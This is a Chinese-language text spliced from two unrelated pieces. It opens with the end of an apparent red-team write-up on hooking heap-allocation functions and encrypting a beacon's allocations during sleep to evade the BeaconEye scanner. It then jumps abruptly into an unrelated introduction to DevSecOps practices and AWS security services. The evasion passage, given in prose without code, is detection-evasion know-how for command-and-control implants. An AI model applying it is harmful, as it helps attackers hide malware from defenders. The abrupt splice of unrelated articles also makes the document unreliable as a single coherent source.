這將獲得_ReturnAddress內在函數,並將其與GetModuleHandleEx和標誌

GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS 一起使用,以識別哪個模塊正在進行此調用。然後我們可以將其轉換為小寫字符串,如果字符串不包含DLL 或EXE,我們繼續插入它。這樣,你就有了一個穩定的分配列表,可以在休眠時加密。你將需要重複這個進程為你的掛鉤重新分配。

要運行加密,你需要迭代列表並加密這些分配,而不是執行HeapWalk()。這將取決於你是否決定使用映射、矢量、鍊錶或其他內容。你希望將真正的HeapAlloc或ReAlloc返回的指針存儲到您的數組中,迭代數組並按大小對數據進行加密。上面示例中的Arg3是size 。

現在我們掛鉤了四個不同的函數,將基於線程id 的分配插入向量中,迭代向量並在休眠時加密每個地址。如果成功,我們應該可以再次繞過BeaconEye。

使用AWS 的DevSecOps 簡介:如何將安全性集成到DevOps 中(上)

將安全性集成到DevOps 中的最佳實踐DevSecOps 的主要任務是通過確保SDLC 早期階段的安全編碼實踐,將安全性集成到DevOps 中。雖然需要自動化,但DevSecOps 不僅僅與此有關。首先,應培訓開發人員和運營專家以了解黑客的邏輯並知道如何通過安全措施來防止攻擊。只有這樣,他們才能正確使用旨在發現缺陷並確保開發和測試過程中安全的工具。

image.png

成功採用DevSecOps 的6 個最佳實踐

1. 培養安全性和開放性作為組織文化的一部分如果您想將安全性集成到您的DevOps 團隊中,第一步是通過以下活動改變您的文化:

建立知識庫。培訓開發人員和QA 專家,確保他們了解安全編碼和測試的基本原則,從而能夠負責滿足安全要求。

促進開放。鼓勵通常獨立工作的DevOps 和安全部門之間的開放式溝通和協作。確保安全指標和儀表闆對開發人員透明、可用且易於理解,以便他們可以應用它們來檢查代碼質量。

打造安全冠軍。聘請了解傳統DevOps 團隊安全性的專業安全人員,並可以指導您的團隊以確保他們在向DevSecOps 過渡期間具有安全意識。安全冠軍應該了解行業最佳實踐,並參與DevSecOps 諮詢,了解如何為軟件開發調整安全性。

但是,不要過度使用這種做法。您的員工不需要成為網絡安全專家——他們只需要足夠的知識和培訓來確保其職責範圍內的安全。

2.獲得可靠的版本控制系統短衝刺和持續交付要求開發人員在每個衝刺中對應用程序的代碼進行許多更改。您必須能夠跟踪這些更改,查看更改的內容和更改者,並查看他們是否有權這樣做。您還需要能夠快速回滾更改並恢復到以前版本的代碼。

這就是為什麼在將DevSecOps 實踐實施到SDLC 之前部署版本控制系統很重要。選擇具有以下功能的版本控制系統:

授權和身份驗證機制

開發人員的數字簽名

多樣化的變更控制技術

代碼版本的元數據集合

應用程序生命週期管理工具

您還可以選擇一個分佈式版本控制系統來鏡像軟件的代碼庫和開發人員機器上的所有代碼更改。

3. 構建DevSecOps 流程構建安全的CI/CD 管道需要在開發過程的每個階段添加安全檢查和掃描。讓我們看看在每次迭代期間您可以採取哪些措施來保護您的軟件:

image.png要在您的SDLC 中實施的關鍵DevSecOps 活動

1、軟件規劃中的安全措施除了收集功能性和非功能性軟件需求、產品特性和潛在用例之外,您還需要研究安全需求、驗收測試標準和威脅模型。從軟件規劃階段開始,還應考慮潛在的安全問題。

在規劃階段,您可以使用威脅建模和風險評估工具來了解應用程序的風險級別。如果您的應用程序將處理敏感數據或直接訪問互聯網,您可能需要構建更深層次的威脅模型。此外,如果您將任何數據用於應用程序測試,請考慮如何將其匿名化以避免隱私問題。

2、軟件開發過程中的安全措施在開發階段,DevSecOps 要求您的團隊遵循安全編碼和審查軟件設計和代碼的原則。但是,所有這些測試和檢查不應減慢開發過程。這就是為什麼您需要使盡可能多的流程自動化。

您還需要集成自動化的動態和靜態代碼測試,以便在軟件發布之前檢測安全漏洞。這些自主掃描不需要安全人員的干預,並且可以將結果直接添加到錯誤跟踪系統中。

作為此類測試的替代方法,您可以讓開發人員使用輕量級工具在其集成開發環境中進行快速代碼掃描。使自動掃描和安全測試軟件成為持續集成測試工具鏈的組成部分有助於顯著減少安全漏洞的數量。

3.持續的安全檢查DevSecOps 從業者應該通過保護他們的環境來保護他們的代碼。雖然開發人員經常使用開源應用程序和預構建的庫、容器和框架,但他們需要在使用它們之前消除這些組件中的任何已知關鍵漏洞。

這就是為什麼您需要對所有系統映像的所有內容進行漏洞檢查,包括:

雲環境

虛擬機

集裝箱

作業系統

其他軟件

持續集成應包括檢查所有操作系統和應用程序平台設置的配置是否符合安全最佳實踐。

雖然容器使用通用操作系統,但對它們的任何攻擊都可能會危及您的容器。因此,最佳實踐是在相似信任級別的工作負載上使用容器。然而,為了更強的隔離,最好使用管理程序或物理分離。

4. 迭代優先於完美傳統的開發方法告訴我們在發佈軟件之前解決所有問題。隨著DevSecOps 方法中的發布頻率,完善您的代碼直到它完美可能非常耗時,甚至可能導致在發布之前進行處理——這反過來又會導致在下一個衝刺期間花費更多的時間來修復和打補丁。

提前規劃和迭代您的工作是成功實施DevSecOps 的關鍵。因此,與其試圖在一次沖刺中達到完美,不如評估發現的安全問題,決定必須盡快解決哪些問題,並將其他問題留到未來的迭代中。

持續的風險評估和威脅監控可以幫助您決定需要盡快修復哪些漏洞。

5. 使用安全即代碼方法自動化流程雖然DevOps 使用可編程基礎設施即代碼,但安全措施也應根據這一原則進行調整。安全編碼原則應適用於腳本、模板、配方和藍圖的自動配置。安全即代碼可幫助您自動應用這些原則。

安全即代碼是一種允許開發人員在代碼中定義安全要求、策略和最佳實踐的實踐。然後,他們可以將此代碼集成到CI/CD 管道中,自動執行安全測試、檢查和掃描。使用安全即代碼,您可以自動化:

靜態和動態代碼分析

某些滲透測試活動

合規檢查

掃描漏洞和風險,例如嵌入式憑證、API 密鑰和加密密鑰

向開發人員提供反饋

image.png為什麼實施安全即代碼方法?

將您的安全需求描述為代碼需要大量的謹慎和專業知識,因為存在通過所有CI/CD 管道使用此代碼部署錯誤配置和漏洞的風險。這就是為什麼您需要在部署之前使用結對編程或進行代碼審查。此外,最好不要自動執行風險評估和優先級排序任務,或者至少在採取行動之前先審查它們的結果。

6. 管理對DevSecOps 工具的訪問傳統的靜態訪問控制工具不足以保護DevSecOps 環境中的敏感資源。瞬息萬變的環境和模糊的用戶職責範圍使得很難使用基於角色的訪問管理工具一勞永逸地配置用戶訪問權限。

為確保高級別的安全性,您需要使用動態訪問配置工具和方法,例如零信任網絡訪問控制、Kerberos 身份驗證協議或可自定義的屬性權限。

此外,DevSecOps 需要增強的機密管理。將所有代碼上傳到公共存儲庫或云服務後,您無法對敏感數據進行硬編碼或使用憑據、SSH 密鑰和API 密鑰上傳文件。相反,您應該實施一個秘密管理工具來加密這些秘密並將它們存儲在受保護的保險庫中。

這些實踐將幫助您構建快速、迭代且安全的CI/CD 管道。由於您還需要可靠的工具,讓我們了解如何在AWS 基礎設施中實施DevSecOps。

在轉向DevSecOps 時,您應該使用哪些AWS 服務?使用來自眾多供應商的工具構建完整的CI/CD 管道極具挑戰性,因為您必須擔心集成、數據收集和兼容性,並確保每個工具的工作安全。此外,對任何工具的任何更新都可能會損壞您的軟件基礎架構或自動化流程,並導致更多工作。

這就是為什麼我們更願意使用AWS 工具和服務來保護DevOps,這些工具和服務可以幫助我們構建一致且安全的管道。 AWS 虛擬基礎設施包括一組旨在自動化代碼測試的工具,特別是在整個代碼開發和質量保證過程中應用安全檢查。

image.png

面向DevSecOps 的AWS 服務

構建安全的CI/CD 管道

您可以使用這些AWS 工具和服務將安全性集成到DevOps 管道中,以實現自動化代碼構建、部署和分析:

AWS CodeBuild — 一種編譯源代碼、運行測試和準備軟件包以進行部署的服務。

AWS CodeCommit — 一種用於託管基於Git 的安全存儲庫的源代碼控制服務。要使用它,您的DevSecOps 團隊需要配置他們的Git 客戶端以與AWS CodeCommit 存儲庫通信。

AWS CodeDeploy — 一種用於將代碼自動部署到基於AWS 的本地和第三方計算服務的服務。

AWS CodePipeline — 一種高效的CI/CD 服務,允許DevOps 工程師自動執行預防性和檢測性安全控制。使用AWS CodePipeline 實施DevSecOps 可確保快速安全的軟件更新。

AWS CloudFormation — 一種用於自動安全地描述和配置基礎設施資源的服務。使用此服務,DevSecOps 從業者可以創建演示管道的安全模板。

AWS Lambda — 一種無服務器計算工具,可自動運行您的代碼以響應檢測到的觸發器。您可以使用它對范圍內的安全組執行靜態代碼分析和動態堆棧驗證。

AWS Systems Manager Parameter Store — AWS Systems Manager 的一部分,可讓您安全地存儲配置和管理機密。 Parameter Store 使AWS 基礎設施透明且可控。

應用安全機制當您將敏感數據上傳到公共(甚至私有)存儲庫或云服務時,保護敏感數據尤為重要。使用以下AWS 工具實施DevSecOps:

AWS Identity and Access Management — 一項顯示在對產品進行更改時誰負責什麼的服務。它有助於驗證誰實施了更改、審核日誌和配置存儲庫並管理訪問權限。

AWS Key Management Services — 用於創建和管理數據保護所需的加密密鑰的服務。這些服務使用經過驗證的硬件安全模塊來確保您的密鑰安全。

Amazon Virtual Private Cloud — 一項允許您在AWS 公共雲中創建私有云的服務。虛擬私有云不僅提供與私有云中其他客戶的隔離,還提供與互聯網的第3 層隔離。

自動化安全活動自動化是DevSecOps AWS 服務的核心。以下安全自動化工具可用於自動化事件響應、補救和取證:

Amazon Simple Notification Service — 一種完全託管的消息傳遞服務,用於自動化應用程序到應用程序和應用程序到個人的通信。

AWS Security Hub — 一項服務,可讓您全面了解AWS 賬戶的安全警報和安全狀況。它還有助於自動執行安全檢查和警報管理。

AWS CloudWatch — 一種AWS 資源監控工具,可從您的AWS 賬戶和部分AWS 基礎設施收集日誌並將其係統化。

AWS CloudTrail — 一種可以監控對AWS 賬戶的CloudWatch API 調用的服務。借助CloudTrail,您的安全官可以快速響應可疑活動。

結論DevOps 是改進軟件工程和維護流程的有效方法。但是,只有將安全性集成到DevOps 實踐中,公司才能充分發揮其潛力。

將DevSecOps 引入AWS 服務需要廣泛的安全培訓、周密的規劃以及自動化和手動活動的適當平衡。但是,遵循將安全性集成到DevOps 中的最佳實踐將幫助您成功克服這些挑戰。